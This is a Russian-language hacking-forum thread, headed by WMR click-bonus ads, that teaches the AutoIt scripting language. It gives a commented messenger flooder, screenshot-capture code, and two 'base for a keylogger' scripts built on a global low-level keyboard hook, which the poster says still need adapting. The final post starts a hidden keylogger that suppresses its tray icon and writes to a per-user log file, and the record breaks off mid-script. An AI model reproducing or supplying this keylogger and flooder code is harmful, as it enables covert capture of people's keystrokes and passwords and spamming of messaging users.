Инструкция взлома - Это пособия для безопасности!

Объявление

Hash Profit

Хочешь получить WMR бонус? Вот несколько рабочих WMR бонус программ, которые раздают бонусы за посещение их сайтов по 0.77 р., мало но каждый день что стоит кликать на кнопку и получать свой бонус, сколько накапает к примеру за месяц, за год?
worldwm
5-kopeek
icqmir
1 клик 1 wmr
3.03WMB

Информация о пользователе

Привет, Гость! Войдите или зарегистрируйтесь.



Cкриптовый язык AutoIt

Сообщений 1 страница 30 из 52

1

Довольно таки простой компилируемый и не слишком ёмкий язык,сможет пригодится для написание какого нибудь бота.Ну по крайней мере я использую его частенько для подобных целей и он мне во много помогает.Мне кажется это будет полезно каждому,например для того что бы ,что нибудь автоматизировать и не делать это всё в ручную,а затратить минут десять и полностью автоматизировать (парой ) многочасовой процесс.

AutoIt v3 - это язык для написания сценариев, напоминающий BASIC и предназначенный для автоматизации Windows GUI (графического интерфейса пользователя MS Windows). Его возможности - это методы симуляций нажатий комбинаций клавиш клавиатуры и мыши, функции управления окнами и его визуальными элементами. Решение, явно предлагаемое средствами AutoIt v3, его сценарием, обычно невозможно достичь коротким и понятным кодом какого-либо языка.

От рождения AutoIt имеет встроенные средства для "тиражирования конфигураций" ПК. Но с момента появления третьей версии его можно применять для создания "сюжетов" и решений самых разнообразных задач, например, администрирование или заполнение форм.

AutoIt умеет:

Запускать на выполнение Windows и DOS программы
Симулировать нажатия комбинаций клавиатуры (поддерживается основная масса раскладок клавиатуры)
Симулировать перемещения указателя мыши и нажатия на ее кнопки
Перемещать, менять размер и управлять параметрами отображения окон
Непосредственно взаимодействовать с "управляющими элементами" (controls) окна (получать/менять надпись, перемещать, отключать, и т.п. действия)
Работать с буфером обмена для пересылки его текстового содержания
Читать, менять и создавать ключи и значения реестра
Новая версия AutoIt3 распознает общепринятые конструкции и имеет стандартный синтаксис, в духе VBScript и BASIC, и поддерживает обработку выражений, функций, циклов и логических условий, то есть имеет все, что ожидают от программного языка мастера/ветераны кода.

Как и в прежних версиях AutoIt сохраняет небольшой "вес" интерпретатора (~115KB), который является самостоятельным и использует только системные .dll библиотеки. Он намеренно не делает самостоятельных или скрытых записей в реестре, кроме обязательных, составляющих процесс своей установки. Сценарии могут компилироваться в независимые выполняемые файлы с помощью поставляемого компилятора сценариев - Aut2Exe.

Вместе с интерпретатором модернизируются ActiveX и DLL версия AutoIt, которые называются AutoItX3. Эта библиотека представляет собой объединенный конгломерат (COM и стандартная DLL библиотека в одном модуле). AutoItX3 позволит добавить уникальные возможности AutoIt в любые приложения, написанные на других языках программирования! Примеры использования AutoItX3 поставляются вместе с интерпретатором.

Приведу пример простого флудера,который будет флудить например в QIP или ICQ.Ну это так чисто для примера чтоб показать что всё это делается довольно просто.

HotKeySet('{TAB}','start') ;указываем клавишу для старта функции,где HotKeySet это команда в который вы указываете клавишу и назначаете на нё определённое действие,
;в формате HotKeySet ('{клавиша или сочетание }','функция которая будет выполнятся при нажатие') все клавиши написаны в самой справке.
HotKeySet('{ESC}','stop') ;указываем клавишу для остановки функции
$text = InputBox ('Буду Флудить!', 'Введите текст которым будете флудить','то что будет написано в самом окне ввода') ; ну здесь тип создаём переменую обозначающию текст,которым как раз и будем флудить.
;где $text это переменая,InputBox это кно ввода данных в виде текста.В формате InputBox ('Заголовок', 'сообщение' ,'то что будет написано в самом окне ввода')
MsgBox(4096,'Напоминание', 'Опции горячих клавишь флудилки: TAB  = Начать флудить,Esc = Закончить флуд',10); ну эт простая месага которая будет нам напоминать какие клавиши за что отвечают.

While 1 ;начинаем цикл
   sleep(100);пауза между действием
WEnd ;заканчиваем цикл

func start() ;объявляем начало функции start() которая будет запускаться при нажатие TAB и начинать посылку текста в активное окно
   
While 1 ;снова создаём цикл
send($text,1) ;посылаем текст указаный в InputBox в активное окно
send ('{ENTER}'); посылаем нажатие клавиши Enter в активное окно
sleep(100) ;устанавливаем паузу,между повтором функции

Wend ;заканчиваем цикл

EndFunc ;объевляем конец функции

func stop() ;объевляем начало функции которая будет отвечать за завершение всей программмы и срабатывать при нажатие клавиши ESC
Exit ;Тело функции это команда выход,завершение работы программы
EndFunc ;объевляем конец функции

Вообщем тут раскоминтировал каждою строку,вроде ни чего не упустил так что разберётесь.
Чтоб сделать какого нибудь бота который будет нажимать определённые кнопки в определённых прогах,нужно будет воспользоваться утилитой AutoIt Window Info для считывание инфы об окнах,кнопках,чекбоксах,гаджетах и т.д. программ и Au3Record ,в Au3Record есть функция записи движений и вообще происходящего в код AutoIt,после записи нужно будет только не много отредактировать некоторые команда,а именно заменить с управления мышью на клавиатурное и он получится универсальным ботом,который будет работать практически на каждой тачке.Он входит в составь компилятора,вообщем скачаете компилятор,поставите посмотрите,там и примеры и ещё пару утилит.
Офф сайт где всё что нужно можно скачать бесплатно: http://www.autoitscript.com и офф русскоязычное общество autoit http://autoit-script.ru/.
В принципе для написание простого бота,ни чего кроме компилятора и справки не потребуется.
Так же у него есть и ряд других возможностей которые можно использовать в наших целях.
Ну честно говоря,сильно углубляться в этот язык не советую,ибо много ограничений и потом не универсальность конечного файла,который будет делиться на битность тачки.
Это так чисто в помощь автоматизированию некоторых действий,задач и т.д.

Статья не плагиат и выложена с разрешения автора.

+1

2

Скрин экрана

Код:
#include <GDIPlus.au3>
#include <ScreenCapture.au3> ;инклудим нужные библиотеки

Opt("MustDeclareVars", 1) ;прочитаешь в справке
Global $hBitmap, $hImage, $hGraphic, $hFamily, $hFont, $tLayout, $hFormat, $aInfo, $hBrush1, $hBrush2, $iWidth, $iHeight, $hPen ; объявляем глобальные переменные
Global $sString="  Created with AutoIt  " ;это на хрен в принципе не нужна
_GDIPlus_StartUp() ;начало инициализации библиотеки и старт действий
$hBitmap  = _ScreenCapture_Capture(@MyDocumentsDir & '\AutoItImage.bmp') ;назначаем переменную
$hImage   = _GDIPlus_ImageLoadFromFile(@MyDocumentsDir & '\AutoItImage.bmp')
$hGraphic = _GDIPlus_ImageGetGraphicsContext($hImage)
$hFamily  = _GDIPlus_FontFamilyCreate("Arial")
$hFont    = _GDIPlus_FontCreate($hFamily, 16, 1)
$tLayout  = _GDIPlus_RectFCreate(0, 0)
$hFormat  = _GDIPlus_StringFormatCreate(2)
$hBrush1  = _GDIPlus_BrushCreateSolid(0xA2FFFFFF)
$hBrush2  = _GDIPlus_BrushCreateSolid(0xC4FF0000)
$hPen     = _GDIPlus_PenCreate(0xC4000000, 2)
$aInfo    = _GDIPlus_GraphicsMeasureString($hGraphic, $sString, $hFont, $tLayout, $hFormat)
$iWidth   = DllStructGetData($aInfo[0], "Width" )
$iHeight  = DllStructGetData($aInfo[0], "Height")
;это были переменные на картинку,то есть создание скрина
_GDIPlus_GraphicsFillRect($hGraphic, 0, 0, $iWidth, $iHeight, $hBrush1)
_GDIPlus_GraphicsDrawRect($hGraphic, 1, 1, $iWidth, $iHeight, $hPen   )
_GDIPlus_GraphicsDrawStringEx($hGraphic, $sString, $hFont, $aInfo[0], $hFormat, $hBrush2)
;это был сам процесс создание
_GDIPlus_ImageSaveToFile($hImage, @MyDocumentsDir & '\AutoItImage2.bmp') ;сохраняем картинку
;и освобождаем память занятую во время создания скрина
_GDIPlus_PenDispose         ($hPen    )
_GDIPlus_BrushDispose       ($hBrush1 )
_GDIPlus_BrushDispose       ($hBrush2 )
_GDIPlus_StringFormatDispose($hFormat )
_GDIPlus_FontDispose        ($hFont   )
_GDIPlus_FontFamilyDispose  ($hFamily )
_GDIPlus_GraphicsDispose    ($hGraphic)
_GDIPlus_ImageDispose       ($hImage  )
_GDIPlus_ShutDown()

Или вот,буквально в двух трёх строчках

Код:
#include <ScreenCapture.au3>

_Main() ; функцию на старт

Func _Main() ;объявляем функцию
   Local $hBmp ;объявляем переменную локальной

   ;делаем скрин
   $hBmp = _ScreenCapture_Capture ("") ;ну сама переменая

   ; сохраняем его в BMP (для лучшего качества изображения) рядом с собой
   _ScreenCapture_SaveImage ("scrin.jpg", $hBmp)

EndFunc   ;коней функции

0

3

Основа для кейлогера на AutoIt,ток надо кое что подправить и убрать всё лишнее,точнее заменить.
Вариант 1:

Код:
#include <Misc.au3>

HotKeySet("{ESC}", "OnAutoItExit")

Global Const $WH_KEYBOARD_LL = 13
Global $hStub_KeyProc = DllCallbackRegister("_Key_Proc", "int", "int;ptr;ptr")
Global $hMod = DllCall("kernel32.dll", "hwnd", "GetModuleHandle", "ptr", 0)
Global $hHook = DllCall("user32.dll", "hwnd", "SetWindowsHookEx", "int", $WH_KEYBOARD_LL, _
    "ptr", DllCallbackGetPtr($hStub_KeyProc), "hwnd", $hMod[0], "dword", 0)

MsgBox(4096, "", "Type anything anywhere and it will appear in the top left corner of the screen.")

While 1
    Sleep(100)
WEnd

Func _EvaluateKey_Proc($nKeyCode)
    Local $sCapt_Codes, $sEng_Codes, $sEngShift_Codes, $sRus_Codes, $sRusShift_Codes
    Local $sUkr_Codes, $sUkrShift_Codes

    Local $aCapture_Codes, $aEng_Codes, $aEngShift_Codes, $aRus_Codes, $aRusShift_Codes, $aUkr_Codes, $aUkrShift_Codes

    Local $sSound
    Local $sChar

    Switch $nKeyCode
Case 65 To 90, 48 To 57, 186 To 192, 219, 221, 222 ; проверяться будут только нажатия на буквы и цифры и еще клавиши минус и плюс, что после клавиши 0.
           
            $sCapt_Codes = _
                "АQWERTYUIOPЫЭASDFGHJKLєЮZXCVBNMјѕї" & _
                "1234567890Ѕ»"

            $sEng_Codes = _
                "`qwertyuiop[]asdfghjkl;'zxcvbnm,./" & _
                "1234567890-="

            $sEngShift_Codes = _
                '~QWERTYUIOP{}ASDFGHJKL:"ZXCVBNM<>?' & _
                '!@#$%^&*()_+'

            $sRus_Codes = _
                "ёйцукенгшщзхъфывапролджэячсмитьбю." & _
                "1234567890-="

            $sRusShift_Codes = _
                'ЁЙЦУКЕНГШЩЗХЪФЫВАПРОЛДЖЭЯЧСМИТЬБЮ,' & _
                '!"№;%:?*()_+'

            $sUkr_Codes = _
                "'йцукеягшщзхЇфівапролджєнчсмитьбю." & _
                "1234567890-="

            $sUkrShift_Codes = _
                "’ЙЦУКЕЯГШЩЗХЇФІВАПРОЛДЖЄНЧСМИТЬБЮ," & _
                '!"№;%:?*()_+'

            $aCapture_Codes = StringSplit($sCapt_Codes, "")

            $aEng_Codes = StringSplit($sEng_Codes, "")
            $aEngShift_Codes = StringSplit($sEngShift_Codes, "")

            $aRus_Codes = StringSplit($sRus_Codes, "")
            $aRusShift_Codes = StringSplit($sRusShift_Codes, "")

            $aUkr_Codes = StringSplit($sUkr_Codes, "")
            $aUkrShift_Codes = StringSplit($sUkrShift_Codes, "")

            Switch _WinGetKeyboardLayout(WinGetHandle("[ACTIVE]"))
                Case 0409 ;Если раскладка английская
                    If _IsPressed(10) Then ; если нажата клавиша Shift
                        $sChar=_ReplaceKeyCode_Proc($nKeyCode, $aCapture_Codes, $aEngShift_Codes)
                    Else ; если не нажата клавиша Shift
                        $sChar=_ReplaceKeyCode_Proc($nKeyCode, $aCapture_Codes, $aEng_Codes)
                    EndIf
                    $sSound = "en.wav"
                   
                Case 0419 ;Если расскладка русская
                    If _IsPressed(10) Then ; если нажата клавиша Shift
                        $sChar=_ReplaceKeyCode_Proc($nKeyCode, $aCapture_Codes, $aRusShift_Codes)
                    Else ; если не нажата клавиша Shift
                        $sChar=_ReplaceKeyCode_Proc($nKeyCode, $aCapture_Codes, $aRus_Codes)
                    EndIf
                    $sSound = "ru.wav"
                   
                Case 0422 ;Если расскладка украинская
                    If _IsPressed(10) Then ; если нажата клавиша Shift
                        $sChar=_ReplaceKeyCode_Proc($nKeyCode, $aCapture_Codes, $aUkrShift_Codes)
                    Else ; если не нажата клавиша Shift
                        $sChar=_ReplaceKeyCode_Proc($nKeyCode, $aCapture_Codes, $aUkr_Codes)
                    EndIf
                    $sSound = "ukr.wav"
            EndSwitch

            ToolTip($sChar & " - " & Asc($sChar), 0, 80)
            SoundPlay($sSound) ;проигрывать звук при нажатии
        Case Else ; если была нажата не буква и не цыфра, то выход из функции
            Return
    EndSwitch
EndFunc

Func _Key_Proc($nCode, $wParam, $lParam)
    Local $aRet, $KEYHOOKSTRUCT

    If $nCode < 0 Then
        $aRet = DllCall("user32.dll", "long", "CallNextHookEx", "hwnd", $hHook[0], "int", $nCode, "ptr", $wParam, "ptr", $lParam)
        Return $aRet[0]
    EndIf

    If $wParam = 256 Then
        $KEYHOOKSTRUCT = DllStructCreate("dword;dword;dword;dword;ptr", $lParam)
        _EvaluateKey_Proc(DllStructGetData($KEYHOOKSTRUCT, 1))
    EndIf

    $aRet = DllCall("user32.dll", "long", "CallNextHookEx", "hwnd", $hHook[0], "int", $nCode, "ptr", $wParam, "ptr", $lParam)
    Return $aRet[0]
EndFunc

;Функция для замены кодов нажатых клавиш с массива
Func _ReplaceKeyCode_Proc($nKeyCode, $aSearch_Array, $aReplace_Array)
    For $i = 1 To $aSearch_Array[0]
        If $nKeyCode==Asc($aSearch_Array[$i]) Then
            $nKeyCode=Asc($aReplace_Array[$i])
            Return Chr($nKeyCode)
        EndIf
    Next
EndFunc

;функция позволяет узнать язык текущей расскладки клавиатуры
Func _WinGetKeyboardLayout($hWnd)
    Local $aRet = DllCall("user32.dll", "long", "GetWindowThreadProcessId", "hwnd", $hWnd, "ptr", 0)
    $aRet = DllCall("user32.dll", "long", "GetKeyboardLayout", "long", $aRet[0])

    Return "0000" & Hex($aRet[0], 4)
EndFunc

Func OnAutoItExit()
    If $hStub_KeyProc Then DllCallbackFree($hStub_KeyProc)
    $hStub_KeyProc = 0
    DllCall("user32.dll", "int", "UnhookWindowsHookEx", "hwnd", $hHook[0])
    If @HotKeyPressed <> "" Then Exit
EndFunc

Вариант 2:

Код:
#include <Misc.au3>

HotKeySet("{ESC}", "OnAutoItExit")
_OnStart()

Global Const $WH_KEYBOARD_LL = 13
Global $hStub_KeyProc = DllCallbackRegister("_Key_Proc", "int", "int;ptr;ptr")
Global $hMod = DllCall("kernel32.dll", "hwnd", "GetModuleHandle", "ptr", 0)
Global $hHook = DllCall("user32.dll", "hwnd", "SetWindowsHookEx", "int", $WH_KEYBOARD_LL, _
    "ptr", DllCallbackGetPtr($hStub_KeyProc), "hwnd", $hMod[0], "dword", 0)

MsgBox(4096, "", "Type anything anywhere and it will appear in the top left corner of the screen.")

While 1
    Sleep(100)
WEnd

Func _EvaluateKey_Proc($nKeyCode)
    Local $sSound
    Local $sChar
;MsgBox(64,Chr($nKeyCode), $nKeyCode, 1) ;с помощью этого узнаем код нужной нам клавиши (только без shift, а то будет зависание)

    Switch $nKeyCode
      Case 65 To 90, 48 To 57, 186 To 192, 219, 221, 222, 106, 13 ; проверяться будут только нажатия на буквы и цифры и еще клавиши минус и плюс, что после клавиши 0, а код 106 соответствует клавише * на цифровой клавиатуре, 13 - код клавиши Enter

             Switch _WinGetKeyboardLayout(WinGetHandle("[ACTIVE]"))
                Case 0409 ;Если раскладка английская
                    If _IsPressed(10) Then ; если нажата клавиша Shift
                        $sChar=_ReplaceKeyCode_Proc($nKeyCode, $aCapture_Codes, $aEngShift_Codes)
                    Else ; если не нажата клавиша Shift
                        $sChar=_ReplaceKeyCode_Proc($nKeyCode, $aCapture_Codes, $aEng_Codes)
                    EndIf
                    $sSound = "en.wav"
                   
                Case 0419 ;Если расскладка русская
                    If _IsPressed(10) Then ; если нажата клавиша Shift
                        $sChar=_ReplaceKeyCode_Proc($nKeyCode, $aCapture_Codes, $aRusShift_Codes)
                    Else ; если не нажата клавиша Shift
                        $sChar=_ReplaceKeyCode_Proc($nKeyCode, $aCapture_Codes, $aRus_Codes)
                    EndIf
                    $sSound = "ru.wav"
                   
                Case 0422 ;Если расскладка украинская
                    If _IsPressed(10) Then ; если нажата клавиша Shift
                        $sChar=_ReplaceKeyCode_Proc($nKeyCode, $aCapture_Codes, $aUkrShift_Codes)
                    Else ; если не нажата клавиша Shift
                        $sChar=_ReplaceKeyCode_Proc($nKeyCode, $aCapture_Codes, $aUkr_Codes)
                    EndIf
                    $sSound = "ukr.wav"
            EndSwitch

            ToolTip($sChar, 0, 80)
            SoundPlay($sSound) ;проигрывать звук при нажатии
      Case Else ; если была нажата не буква и не цыфра, то выход из функции
         ToolTip("", 0, 80)
            Return
    EndSwitch
EndFunc

Func _Key_Proc($nCode, $wParam, $lParam)
    Local $aRet, $KEYHOOKSTRUCT

    If $nCode < 0 Then
        $aRet = DllCall("user32.dll", "long", "CallNextHookEx", "hwnd", $hHook[0], "int", $nCode, "ptr", $wParam, "ptr", $lParam)
        Return $aRet[0]
    EndIf

    If $wParam = 256 Then
        $KEYHOOKSTRUCT = DllStructCreate("dword;dword;dword;dword;ptr", $lParam)
        _EvaluateKey_Proc(DllStructGetData($KEYHOOKSTRUCT, 1))
    EndIf

    $aRet = DllCall("user32.dll", "long", "CallNextHookEx", "hwnd", $hHook[0], "int", $nCode, "ptr", $wParam, "ptr", $lParam)
    Return $aRet[0]
EndFunc

;Функция для замены кодов нажатых клавиш с массива
Func _ReplaceKeyCode_Proc($nKeyCode, $aSearch_Array, $aReplace_Array)
    For $i = 1 To $aSearch_Array[0]
        If $nKeyCode==$aSearch_Array[$i]Then
            Return $aReplace_Array[$i]
        EndIf
    Next
EndFunc

;функция позволяет узнать язык текущей расскладки клавиатуры
Func _WinGetKeyboardLayout($hWnd)
    Local $aRet = DllCall("user32.dll", "long", "GetWindowThreadProcessId", "hwnd", $hWnd, "ptr", 0)
    $aRet = DllCall("user32.dll", "long", "GetKeyboardLayout", "long", $aRet[0])

    Return "0000" & Hex($aRet[0], 4)
EndFunc

Func OnAutoItExit()
    If $hStub_KeyProc Then DllCallbackFree($hStub_KeyProc)
    $hStub_KeyProc = 0
    DllCall("user32.dll", "int", "UnhookWindowsHookEx", "hwnd", $hHook[0])
    If @HotKeyPressed <> "" Then Exit
   EndFunc

func _OnStart()
Global $aEng_Codes[49]
$aEng_Codes[0]=48 ;общее количество активных ячеек в массиве
$aEng_Codes[1]="`"
$aEng_Codes[2]="q"
$aEng_Codes[3]="w"
$aEng_Codes[4]="e"
$aEng_Codes[5]="r"
$aEng_Codes[6]="t"
$aEng_Codes[7]="y"
$aEng_Codes[8]="u"
$aEng_Codes[9]="i"
$aEng_Codes[10]="o"
$aEng_Codes[11]="p"
$aEng_Codes[12]="["
$aEng_Codes[13]="]"
$aEng_Codes[14]="a"
$aEng_Codes[15]="s"
$aEng_Codes[16]="d"
$aEng_Codes[17]="f"
$aEng_Codes[18]="g"
$aEng_Codes[19]="h"
$aEng_Codes[20]="j"
$aEng_Codes[21]="k"
$aEng_Codes[22]="l"
$aEng_Codes[23]=";"
$aEng_Codes[24]="'"
$aEng_Codes[25]="z"
$aEng_Codes[26]="x"
$aEng_Codes[27]="c"
$aEng_Codes[28]="v"
$aEng_Codes[29]="b"
$aEng_Codes[30]="n"
$aEng_Codes[31]="m"
$aEng_Codes[32]=","
$aEng_Codes[33]="."
$aEng_Codes[34]="/"
$aEng_Codes[35]="1"
$aEng_Codes[36]="2"
$aEng_Codes[37]="3"
$aEng_Codes[38]="4"
$aEng_Codes[39]="5"
$aEng_Codes[40]="6"
$aEng_Codes[41]="7"
$aEng_Codes[42]="8"
$aEng_Codes[43]="9"
$aEng_Codes[44]="0"
$aEng_Codes[45]="-"
$aEng_Codes[46]="="
$aEng_Codes[47]="*"
$aEng_Codes[48]="Enter"

Global $aEngShift_Codes[49]
$aEngShift_Codes[0]=48
$aEngShift_Codes[1]="~"
$aEngShift_Codes[2]="Q"
$aEngShift_Codes[3]="W"
$aEngShift_Codes[4]="E"
$aEngShift_Codes[5]="R"
$aEngShift_Codes[6]="T"
$aEngShift_Codes[7]="Y"
$aEngShift_Codes[8]="U"
$aEngShift_Codes[9]="I"
$aEngShift_Codes[10]="O"
$aEngShift_Codes[11]="P"
$aEngShift_Codes[12]="{"
$aEngShift_Codes[13]="}"
$aEngShift_Codes[14]="A"
$aEngShift_Codes[15]="S"
$aEngShift_Codes[16]="D"
$aEngShift_Codes[17]="F"
$aEngShift_Codes[18]="G"
$aEngShift_Codes[19]="H"
$aEngShift_Codes[20]="J"
$aEngShift_Codes[21]="K"
$aEngShift_Codes[22]="L"
$aEngShift_Codes[23]=":"
$aEngShift_Codes[24]='"'
$aEngShift_Codes[25]="Z"
$aEngShift_Codes[26]="X"
$aEngShift_Codes[27]="C"
$aEngShift_Codes[28]="V"
$aEngShift_Codes[29]="B"
$aEngShift_Codes[30]="N"
$aEngShift_Codes[31]="M"
$aEngShift_Codes[32]="<"
$aEngShift_Codes[33]=">"
$aEngShift_Codes[34]="?"
$aEngShift_Codes[35]="!"
$aEngShift_Codes[36]="@"
$aEngShift_Codes[37]="#"
$aEngShift_Codes[38]="$"
$aEngShift_Codes[39]="%"
$aEngShift_Codes[40]="^"
$aEngShift_Codes[41]="&"
$aEngShift_Codes[42]="*"
$aEngShift_Codes[43]="("
$aEngShift_Codes[44]=")"
$aEngShift_Codes[45]="_"
$aEngShift_Codes[46]="+"
$aEngShift_Codes[47]="*"
$aEngShift_Codes[48]="Enter"


Global $aRus_Codes[49]
$aRus_Codes[0]=48
$aRus_Codes[1]="ё"
$aRus_Codes[2]="й"
$aRus_Codes[3]="ц"
$aRus_Codes[4]="у"
$aRus_Codes[5]="к"
$aRus_Codes[6]="е"
$aRus_Codes[7]="н"
$aRus_Codes[8]="г"
$aRus_Codes[9]="ш"
$aRus_Codes[10]="щ"
$aRus_Codes[11]="з"
$aRus_Codes[12]="х"
$aRus_Codes[13]="ъ"
$aRus_Codes[14]="ф"
$aRus_Codes[15]="ы"
$aRus_Codes[16]="в"
$aRus_Codes[17]="а"
$aRus_Codes[18]="п"
$aRus_Codes[19]="р"
$aRus_Codes[20]="о"
$aRus_Codes[21]="л"
$aRus_Codes[22]="д"
$aRus_Codes[23]="ж"
$aRus_Codes[24]="э"
$aRus_Codes[25]="я"
$aRus_Codes[26]="ч"
$aRus_Codes[27]="с"
$aRus_Codes[28]="м"
$aRus_Codes[29]="и"
$aRus_Codes[30]="т"
$aRus_Codes[31]="ь"
$aRus_Codes[32]="б"
$aRus_Codes[33]="ю"
$aRus_Codes[34]="."
$aRus_Codes[35]="1"
$aRus_Codes[36]="2"
$aRus_Codes[37]="3"
$aRus_Codes[38]="4"
$aRus_Codes[39]="5"
$aRus_Codes[40]="6"
$aRus_Codes[41]="7"
$aRus_Codes[42]="8"
$aRus_Codes[43]="9"
$aRus_Codes[44]="0"
$aRus_Codes[45]="-"
$aRus_Codes[46]="="
$aRus_Codes[47]="*"
$aRus_Codes[48]="Enter"

Global $aRusShift_Codes[49]
$aRusShift_Codes[0]=48
$aRusShift_Codes[1]="Ё"
$aRusShift_Codes[2]="Й"
$aRusShift_Codes[3]="Ц"
$aRusShift_Codes[4]="У"
$aRusShift_Codes[5]="К"
$aRusShift_Codes[6]="Е"
$aRusShift_Codes[7]="Н"
$aRusShift_Codes[8]="Г"
$aRusShift_Codes[9]="Ш"
$aRusShift_Codes[10]="Щ"
$aRusShift_Codes[11]="З"
$aRusShift_Codes[12]="Х"
$aRusShift_Codes[13]="Ъ"
$aRusShift_Codes[14]="Ф"
$aRusShift_Codes[15]="Ы"
$aRusShift_Codes[16]="В"
$aRusShift_Codes[17]="А"
$aRusShift_Codes[18]="П"
$aRusShift_Codes[19]="Р"
$aRusShift_Codes[20]="О"
$aRusShift_Codes[21]="Л"
$aRusShift_Codes[22]="Д"
$aRusShift_Codes[23]="Ж"
$aRusShift_Codes[24]="Э"
$aRusShift_Codes[25]="Я"
$aRusShift_Codes[26]="Ч"
$aRusShift_Codes[27]="С"
$aRusShift_Codes[28]="М"
$aRusShift_Codes[29]="И"
$aRusShift_Codes[30]="Т"
$aRusShift_Codes[31]="Ь"
$aRusShift_Codes[32]="Б"
$aRusShift_Codes[33]="Ю"
$aRusShift_Codes[34]=","
$aRusShift_Codes[35]="!"
$aRusShift_Codes[36]='"'
$aRusShift_Codes[37]="№"
$aRusShift_Codes[38]=";"
$aRusShift_Codes[39]="%"
$aRusShift_Codes[40]=":"
$aRusShift_Codes[41]="?"
$aRusShift_Codes[42]="*"
$aRusShift_Codes[43]="("
$aRusShift_Codes[44]=")"
$aRusShift_Codes[45]="_"
$aRusShift_Codes[46]="+"
$aRusShift_Codes[47]="*"
$aRusShift_Codes[48]="Enter"

Global $aUkr_Codes[49]
$aUkr_Codes[0]=48
$aUkr_Codes[1]="'"
$aUkr_Codes[2]="й"
$aUkr_Codes[3]="ц"
$aUkr_Codes[4]="у"
$aUkr_Codes[5]="к"
$aUkr_Codes[6]="е"
$aUkr_Codes[7]="я"
$aUkr_Codes[8]="г"
$aUkr_Codes[9]="ш"
$aUkr_Codes[10]="щ"
$aUkr_Codes[11]="з"
$aUkr_Codes[12]="х"
$aUkr_Codes[13]="ї"
$aUkr_Codes[14]="ф"
$aUkr_Codes[15]="і"
$aUkr_Codes[16]="в"
$aUkr_Codes[17]="а"
$aUkr_Codes[18]="п"
$aUkr_Codes[19]="р"
$aUkr_Codes[20]="о"
$aUkr_Codes[21]="л"
$aUkr_Codes[22]="д"
$aUkr_Codes[23]="ж"
$aUkr_Codes[24]="є"
$aUkr_Codes[25]="н"
$aUkr_Codes[26]="ч"
$aUkr_Codes[27]="с"
$aUkr_Codes[28]="м"
$aUkr_Codes[29]="и"
$aUkr_Codes[30]="т"
$aUkr_Codes[31]="ь"
$aUkr_Codes[32]="б"
$aUkr_Codes[33]="ю"
$aUkr_Codes[34]="."
$aUkr_Codes[35]="1"
$aUkr_Codes[36]="2"
$aUkr_Codes[37]="3"
$aUkr_Codes[38]="4"
$aUkr_Codes[39]="5"
$aUkr_Codes[40]="6"
$aUkr_Codes[41]="7"
$aUkr_Codes[42]="8"
$aUkr_Codes[43]="9"
$aUkr_Codes[44]="0"
$aUkr_Codes[45]="-"
$aUkr_Codes[46]="="
$aUkr_Codes[47]="*"
$aUkr_Codes[48]="Enter"


Global $aUkrShift_Codes[49]
$aUkrShift_Codes[0]=48
$aUkrShift_Codes[1]="’"
$aUkrShift_Codes[2]="Й"
$aUkrShift_Codes[3]="Ц"
$aUkrShift_Codes[4]="У"
$aUkrShift_Codes[5]="К"
$aUkrShift_Codes[6]="Е"
$aUkrShift_Codes[7]="Я"
$aUkrShift_Codes[8]="Г"
$aUkrShift_Codes[9]="Ш"
$aUkrShift_Codes[10]="Щ"
$aUkrShift_Codes[11]="З"
$aUkrShift_Codes[12]="Х"
$aUkrShift_Codes[13]="Ї"
$aUkrShift_Codes[14]="Ф"
$aUkrShift_Codes[15]="І"
$aUkrShift_Codes[16]="В"
$aUkrShift_Codes[17]="А"
$aUkrShift_Codes[18]="П"
$aUkrShift_Codes[19]="Р"
$aUkrShift_Codes[20]="О"
$aUkrShift_Codes[21]="Л"
$aUkrShift_Codes[22]="Д"
$aUkrShift_Codes[23]="Ж"
$aUkrShift_Codes[24]="Є"
$aUkrShift_Codes[25]="Н"
$aUkrShift_Codes[26]="Ч"
$aUkrShift_Codes[27]="С"
$aUkrShift_Codes[28]="М"
$aUkrShift_Codes[29]="И"
$aUkrShift_Codes[30]="Т"
$aUkrShift_Codes[31]="Ь"
$aUkrShift_Codes[32]="Б"
$aUkrShift_Codes[33]="Ю"
$aUkrShift_Codes[34]=","
$aUkrShift_Codes[35]="!"
$aUkrShift_Codes[36]='"'
$aUkrShift_Codes[37]="№"
$aUkrShift_Codes[38]=";"
$aUkrShift_Codes[39]="%"
$aUkrShift_Codes[40]=":"
$aUkrShift_Codes[41]="?"
$aUkrShift_Codes[42]="*"
$aUkrShift_Codes[43]="("
$aUkrShift_Codes[44]=")"
$aUkrShift_Codes[45]="_"
$aUkrShift_Codes[46]="+"
$aUkrShift_Codes[47]="*"
$aUkrShift_Codes[48]="Enter"
;
Global $aCapture_Codes[49]
$aCapture_Codes[0]=48 ;общее кол. акт. ячеек массива
$aCapture_Codes[1]=192
$aCapture_Codes[2]=81
$aCapture_Codes[3]=87
$aCapture_Codes[4]=69
$aCapture_Codes[5]=82
$aCapture_Codes[6]=84
$aCapture_Codes[7]=89
$aCapture_Codes[8]=85
$aCapture_Codes[9]=73
$aCapture_Codes[10]=79
$aCapture_Codes[11]=80
$aCapture_Codes[12]=219
$aCapture_Codes[13]=221
$aCapture_Codes[14]=65
$aCapture_Codes[15]=83
$aCapture_Codes[16]=68
$aCapture_Codes[17]=70
$aCapture_Codes[18]=71
$aCapture_Codes[19]=72
$aCapture_Codes[20]=74
$aCapture_Codes[21]=75
$aCapture_Codes[22]=76
$aCapture_Codes[23]=186
$aCapture_Codes[24]=222
$aCapture_Codes[25]=90
$aCapture_Codes[26]=88
$aCapture_Codes[27]=67
$aCapture_Codes[28]=86
$aCapture_Codes[29]=66
$aCapture_Codes[30]=78
$aCapture_Codes[31]=77
$aCapture_Codes[32]=188
$aCapture_Codes[33]=190
$aCapture_Codes[34]=191
$aCapture_Codes[35]=49
$aCapture_Codes[36]=50
$aCapture_Codes[37]=51
$aCapture_Codes[38]=52
$aCapture_Codes[39]=53
$aCapture_Codes[40]=54
$aCapture_Codes[41]=55
$aCapture_Codes[42]=56
$aCapture_Codes[43]=57
$aCapture_Codes[44]=48
$aCapture_Codes[45]=189
$aCapture_Codes[46]=187
$aCapture_Codes[47]=106 ;* на цифровой клавиатуре
$aCapture_Codes[48]=13 ;Код клавиши Enter
EndFunc

0

4

кейлогер (не ловит только намлок),

Код:
#NoTrayIcon
#include <Misc.au3>

 Local $date = @YEAR & "-" & @MON & "-" & @MDAY
 Local $user32 = DllOpen("user32"), $log
 Local $window2 = ""
 Local $CAPSLOCKTOGGLE
 Local $log = @UserName&"log.html"
 HotKeySet( "^{F9}", "Terminate")
 opt("OnExitFunc", "Terminate")
 If FileExists($log) = 1 Then
 FileDelete( $log )
